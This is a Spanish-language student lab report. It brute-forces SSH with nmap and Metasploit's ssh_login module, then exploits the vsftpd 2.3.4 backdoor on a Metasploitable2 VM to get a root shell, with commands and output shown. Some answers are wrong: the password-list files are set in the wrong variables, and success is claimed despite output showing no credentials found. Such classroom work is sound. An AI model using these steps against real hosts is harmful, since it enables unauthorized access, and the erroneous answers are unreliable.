Explotación de contraseñas débiles mediante fuerza bruta

Confirmación de métodos de autenticación con nmap

Práctica 1

Ejecución del comando para obtener los métodos de autenticación soportados en el host objetivo:

```
nmap --script ssh-auth-methods 172.16.10.13
```

Extracto de salida:

```
Nmap scan report for 172.16.10.13
22/tcp open  ssh
| ssh-auth-methods:
|   Supported authentication methods:
|     publickey
|_    password
```

Pregunta 1

¿Qué métodos de autenticación aparecen en la salida? De ellos, ¿cuál permite probar sistemáticamente combinaciones de usuario y contraseña?

Respuesta 1

Identificación de métodos:

1. publickey
2. password

Explicación sobre cuál permite probar combinaciones de usuario y contraseña:

El método que lo permitiría sería password, por ejemplo, si se tiene el usuario, se pueden utilizar contraseñas comunes, teniendo en consideración del riesgo de hacerlo si se tiene un límite de intentos previo a ser bloqueado. Sin embargo, si no hay una limitación de intentos, utilizaría diccionarios de contraseñas comunes, y usuarios comunes, por ejemplo, admin y de contraseña password, probando sistemáticamente hasta cumplir con el objetivo.

Ingresar a Metasploit

```
msfconsole
```

Buscar un módulo adecuado

```
search <palabras_clave> type:<tipo_modulo>
```

Práctica 2

Comando para realizar una búsqueda y ubicar el módulo deseado.

```
search login ssh type:auxiliary
```

Extracto de salida:

```
#  Name                                          Disclosure Date  Rank
Check  Description
4  auxiliary/scanner/ssh/ssh_login               .                normal
No     SSH Login Check Scanner
5  auxiliary/scanner/ssh/ssh_login_pubkey        .                normal
No     SSH Public Key Login Scanner
```

Por lo tanto se cumple con la salida esperada que es una lista de módulos del tipo especificado y con las palabras clave resaltadas.

Seleccionar y revisar el módulo

```
info <número_modulo>

info 4
```

Pregunta 2

Revise la salida de show options. ¿Qué variables debe configurar para usar listas de usuarios y contraseñas? Copie el nombre de esas variables.

Respuesta 2

Variables para usar listas de usuarios y contraseñas

1. PASS_FILE
2. USER_FILE

Extracto de salida:

```
Name             Current Setting  Required  Description
----             ---------------  --------  -----------
PASSWORD                          no        A specific password to authenticate
```

```
with
PASS_FILE                        no        File containing passwords, one per
line

USERNAME                         no        A specific username to authenticate
as
USER_FILE                        no        File containing usernames, one per
line
```

Práctica 3

Se ejecuta el comando set con la variable correcta llamada RHOSTS.

```
set RHOSTS 172.16.10.13
```

Verificacion mediante el comando

```
show options
```

Evidencia:

```
Name              Current Setting  Required  Description
----              ---------------  --------  -----------
RHOSTS            172.16.10.13     yes       The target host(s), see
https://docs.metasploit.com/docs/usin
                                           g-metasploit/basics/using-
metasploit.html
```

Práctica 4

Especificación de la ruta de los archivos en los valores correctos utilizando el comando set:

1. set USERNAME

```
set USERNAME /home/kali/Black-Hat-Bash/ch07/common-credentials/usernames.txt
```

2. set PASSWORD

```
set PASSWORD /home/kali/Black-Hat-Bash/ch07/common-credentials/passwords.txt
```

Revisión de la configuración con el comando show options

```
   Name              Current Setting               Required  Description
   ----              ---------------               --------  -----------
   PASSWORD          /home/kali/Black-Hat-Bash/ch  no        A specific password
to authenticate with
                     07/common-credentials/passwo
                     rds.txt
   USERNAME          /home/kali/Black-Hat-Bash/ch  no        A specific username
to authenticate as
                     07/common-credentials/userna
                     mes.txt
```

Por lo tanto, la salida esperada se cumple al tener la ruta de los archivos anteriores especificada en las dos variables

Práctica 5

Ejecución del comando:

```
run
```

Evidencia de la salida:

```
[*] 172.16.10.13:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Por lo tanto se muestra la ejecución exitosa con un usuario y contraseña identificados.

Pregunta 3

¿Consideraría un ataque de fuerza bruta como una técnica silenciosa o ruidosa? ¿Por qué?¿Cuál concepto de la CIA ampliada (CIA+) ayuda más a detectar este tipo de técnicas? Explique su razonamiento en 3–5 oraciones.

Respuesta 3

Considero que el ataque de fuerza bruta es una técnica ruidosa, porque usualmente los sistemas tienen implementado una cantidad máxima de intentos y alertaría la actividad inusual.

El concepto de la CIA+ es CIA junto con Autenticación, Autorización, Auditoría (Au^3), Responsabilización y No repudio.

Por lo tanto, el concepto de la CIA+ que ayuda más a detectar este tipo de técnicas es la responsabilización al vincular la actividad, en este caso la fuerza bruta con la entidad responsable. Asimismo, quedaría registrado

en la bitácora la cantidad de intentos junto con las horas correspondientes, siendo crucial la generación de evidencia mediante los registros.

Pregunta 4

Sin entrar en detalles técnicos, mencione 2-3 medidas específicas relacionadas con el uso de contraseñas como método de autenticación que reducirían la efectividad de un ataque de fuerza bruta y explique brevemente cómo ayudarían.

Respuesta 4

Medidas:

1. Al ser la contraseña "algo que sabes" disminuye la efectividad de un ataque de fuerza bruta, porque al probar cada una de las posibles combinaciones mayor cantidad de tiempo requeriria para hacer un ataque exitoso.
2. Entre mayor cantidad de caracteres, inclusive caracteres especiales aumenta el tiempo que le llevaria al ataque de fuerza bruta ser exitoso, porque primero el ataque de fuerza bruta debe considerar la posibilidad de caracteres especiales, y debe probar cada caracter tanto especial como letras y encontrar el orden correcto, reduciendo de esta manera su efectividad al ser un proceso lento
3. Al utilizar las contraseñas, usualmente hay una cantidad de intentos máximos permitidos, un ataque de fuerza bruta es probar cada caracter, por ende, el sistema si pensó en soportar ataques de fuerza bruta se debería bloquear, ayudando de esta manera que la persona que intenta suplantar sea bloqueado.

Pregunta 5

Ubique en la CKC los pasos de esta sección del laboratorio y elabore un diagrama sencillo que ilustre el ataque. **Se adjunta la imagen al final del presente documento**

Explotación de vulnerabilidades con Metasploit

Reconocimiento con nmap

```
nmap -sn <red_configurada_en_virtualbox>/24
```

Práctica 6

Ejecución de un escaneo de la red con nmap para identificar la IP de metasploitable2.

```
nmap -sn 192.168.56.101/24
```

Extracto de salida:

```
Nmap scan report for 192.168.56.1
MAC Address: 0A:00:27:00:00:0C (Unknown)
```

```
Nmap scan report for 192.168.56.100
MAC Address: 08:00:27:0F:B5:93 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.102
MAC Address: 08:00:27:56:F8:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.101
Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.12 seconds
```

Práctica 7

Objetivo: obtener información sobre los servicios ejecutándose en metasploitable2

Ejecute un escaneo con nmap de metasploitable2 con la opción de servicios (-sV) habilitada.

```
nmap -sV -p- 192.168.56.102
```

Se utiliza la dirección 192.168.56.102 por la salida obtenida anteriormente y porque al hacer ip a dentro de la máquina virtual de metasploitable2 se obtiene la dirección utilizada.

Salida esperada: una lista de servicios descubiertos en metasploitable2.

Extracto de salida:

```
Nmap scan report for 192.168.56.102
Host is up (0.00057s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

Búsqueda de un exploit para vsftpd

Práctica 8

Comando para buscar un exploit para vsftpd con el comando search:

```
search vsftpd type:exploit
```

Evidencia salida:

```
   #  Name                                  Disclosure Date  Rank       Check
Description
```

```
   -  ----                                  ---------------  ----       -----  ---
--------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
VSFTPD v2.3.4 Backdoor Command Execution
```

Por lo tanto, se cumple con la salida esperada al obtener un único resultado de búsqueda devuelto.

Práctica 9

Comando info para confirmar que aplica para la versión de vsftpd presente en metasploitable2:

```
info 0
```

Se muestra extracto de salida esperada, msfconsole despliega la información del exploit para vsftpd

Extracto salida:

```
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT   21               yes       The target port (TCP)
```

Pregunta 6

Según la descripción en msfconsole, explique en sus propias palabras los orígenes de la vulnerabilidad presente en vsftpd 2.3.4

Respuesta 6

El origen de la vulnerabilidad vsftpd 2.3.4 fue en el 2011 y se debió a la vulnerabilidad de *backdoor command execution* que como su nombre lo indica es entrar mediante un acceso no autorizado y dificil de detectar utilizando la plataforma Unix y la línea de comandos de Arch.

Seleccion y configuración del exploit

```

```

```
use <número_módulo>

use 0
```

Práctica 10

Ejecución del comando show options para identificar las variables requeridas.

Terminal:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Extracto de salida variables del exploit:

```
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format
type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5,
socks5h, htt
                                       p
   RHOSTS                    yes       The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
```

Por lo tanto se muestra la salida esperada al tener msfconsole mostrando la información de las variables del exploit.

Práctica 11

Comando set con el valor correcto para la variable RHOSTS:

```
set RHOSTS 192.168.56.102
```

Se asigna la IP de metasploitable2 a la variable RHOSTS.

Evidencia mediante el comando show options:

```
   Name     Current Setting  Required  Description
   RHOSTS   192.168.56.102   yes       The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
```

Práctica 12

Comando para ejecutar el ataque:

```
run
```

Extracto de salida:

```
[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:44279 -> 192.168.56.102:6200)
at 2025-09-12 20:04:25 -0400
```

Por lo tanto, se cumple con la salida esperada y se muestra el mensaje: Command shell session opened.

Post-explotación

Pregunta 7

¿Qué comandos básicos de Linux puede utilizar para evidenciar que se conectó exitosamente a metasploitable2?

Mencione 3–4 comandos básicos (ej. pwd, whoami, uname -a) y explique brevemente cómo pueden ayudar a evidenciar su presencia en metasploitable2.

Respuesta 7

Comandos:

1. whoami: Revela la identidad del nombre del usuario, y ayuda a evidenciar su presencia por la solicitud del nombre del usuario
2. hostname: Es el nombre que se le asigna a un dispositivo de manera única y ayuda a evidenciar su presencia al solicitar el nombre asociada a ese *hostname*
3. uname -a: Le muestra los detalles sobre la versión Linux que utiliza, y ayuda a evidenciar su presencia al no haber sido solicitada por el usuario en metasploitable2

Pregunta 8

¿Con qué usuario está usted en metasploitable2? ¿Cuáles son las implicaciones de este hecho? ¿Qué principio de seguridad visto en clase se está violando?

Respuesta 8

El usuario root.

Las implicaciones de este hecho, es que al ser un usuario root tiene mayor cantidad de permisos en comparación a un usuario con menor privilegio. Generando de esta manera una mayor vulnerabilidad por la magnitud de las posibles consecuencias.

El principio de seguridad que se está violando sería Mediación completa, dado que no se está cumpliendo el verificar permisos en cada acceso, y tampoco el proteger contra accesos prolongados no autorizados.

De igual manera mencionaría el seguro por defecto, dado que se debería denegar el acceso salvo autorización explícita.

Pregunta 9

Con base en su experiencia con la explotación de vsftpd en este laboratorio y lo visto en clase relacionado con las vulnerabilidades y exploits,

¿qué le aconsejaría usted a una organización sobre la necesidad de mantener el software actualizado? Explique su argumento en 3-5 oraciones.

Respuesta 9

1. Por la experiencia del laboratorio con la explotación de vsftpd, a pesar de que la vulnerabilidad sucedió hace más de diez años, si el software no se actualiza y se sigue utilizando versiones anteriores, se expone a que con una de las vulnerabilidades encontradas en esas versiones las exploten, afectando a su organización.
2. Asimismo, le aconsejaría que el mantener el software actualizado es necesario porque si los que brindan el servicio ya descubrieron y solucionaron los *exploits* y vulnerabilidades asociados a esa versión y actualizaron el software se tendrá una versión sin esas vulnerabilidades.
3. Es por ello la importancia, porque los atacantes pueden estar esperando de que las organizaciones no estén actualizadas las versiones de software ya sea porque no quieren cambiar de una versión por costumbre, pereza de actualizar, exponiendose a posibles pérdidas monetarias.

Pregunta 10

Entre fuerza bruta y la explotación de vulnerabilidades en software, ¿cuál cree priorizaría un criminal y cuál un profesional (agencia de inteligencia o fuerzas armadas)? Justifique brevemente en 3-5 oraciones.

Respuesta 10

Mi opinión es que un criminal priorizaría la fuerza bruta, porque puede que no tenga el conocimiento necesario aún para explotar vulnerabilidades del software, o bien de que no sepa que ello existe, mientras que la fuerza bruta suele ser más conocida, y podría encontrar un código/herramienta que aplique fuerza bruta. De esta manera la fuerza bruta sería más sencillo, en comparación con buscar por sí mismo una vulnerabilidad del software a explotar.

Mientras que el profesional yo consideraría que puede tener mayor información, recursos, una estrategia con mayor planificación debido a la experiencia, es por ello que utilizaría la explotación de vulnerabilidades en software y también pienso que al ser un profesional, puede conocer a una mayor cantidad de personas que pueden colaborar en la explotación con experiencia y entendimiento del tema.

Cadena de Ataque (Cyber Kill Chain)